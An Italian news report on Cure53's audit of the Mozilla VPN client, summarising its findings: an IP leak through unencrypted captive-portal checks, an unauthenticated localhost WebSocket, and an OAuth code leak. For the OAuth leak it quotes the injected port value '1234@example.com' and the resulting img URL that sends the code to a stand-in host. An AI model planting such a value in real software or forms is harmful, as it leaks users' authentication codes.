Mozilla ha annunciato il completamento di un audit indipendente del software client per la connessione al servizio Mozilla VPN. L'audit ha analizzato un'applicazione client separata, sviluppata con l'uso della libreria Qt e fornita per Linux, macOS, Windows, Android e iOS. Il servizio Mozilla VPN è supportato da oltre 400 server del fornitore di VPN svedese Mullvad, collocati in più di 30 paesi. La connessione al VPN-servizio avviene tramite il protocollo WireGuard.
L'audit è stato effettuato da Cure53, che in passato ha condotto audit su progetti come NTPsec, SecureDrop, Cryptocat, F-Droid e Dovecot. L'audit ha riguardato la verifica del codice sorgente e ha incluso test per identificare possibili vulnerabilità (non sono state considerate le questioni legate alla crittografia). Durante il controllo sono stati riscontrati 16 problemi di sicurezza, 8 dei quali sono stati considerati raccomandazioni, 5 sono stati classificati come a basso rischio, 2 come a rischio medio e uno come elevato.
Solo un problema classificato a rischio medio è stato considerato una vulnerabilità, poiché solo questo era exploitabile. Il problema segnalato portava alla fuga di informazioni sull'uso della VPN nel codice destinato a determinare un captive portal a causa dell'invio di richieste dirette non crittografate tramite HTTP, inviate al di fuori del tunnel VPN e rivelando l'indirizzo IP principale dell'utente nel caso in cui un attaccante potesse controllare il traffico di transito. Il problema è risolvibile disattivando la modalità di rilevamento del captive portal nelle impostazioni.
Il secondo problema di livello medio di gravità è legato all'assenza di una corretta pulizia dei valori non numerici nel numero di porta, il che consente di causare una perdita dei parametri di autenticazione OAuth attraverso la sostituzione del numero di porta con una stringa del tipo "1234@example.com", che porterà all'installazione di un tag <img src="»http://127.0.0.1:1234@example.com/?code=…»" alt="»»">, che si rivolge a example.com anziché a 127.0.0.1.
Il terzo problema, contrassegnato come pericoloso, consente a qualsiasi applicazione locale di accedere al client VPN tramite WebSocket, legato a localhost, senza autenticazione. Come esempio è stato mostrato come, con il client VPN attivo, qualsiasi sito potesse organizzare la creazione e l'invio di uno screenshot tramite la generazione dell'evento screen_capture. Tuttavia, il problema non è stato classificato come una vulnerabilità perché il WebSocket è stato utilizzato solo in build di test interne e l'uso di questo canale di comunicazione era solo previsto in futuro per consentire l'interazione con un'estensione per il browser.
Fonte: opennet.ru
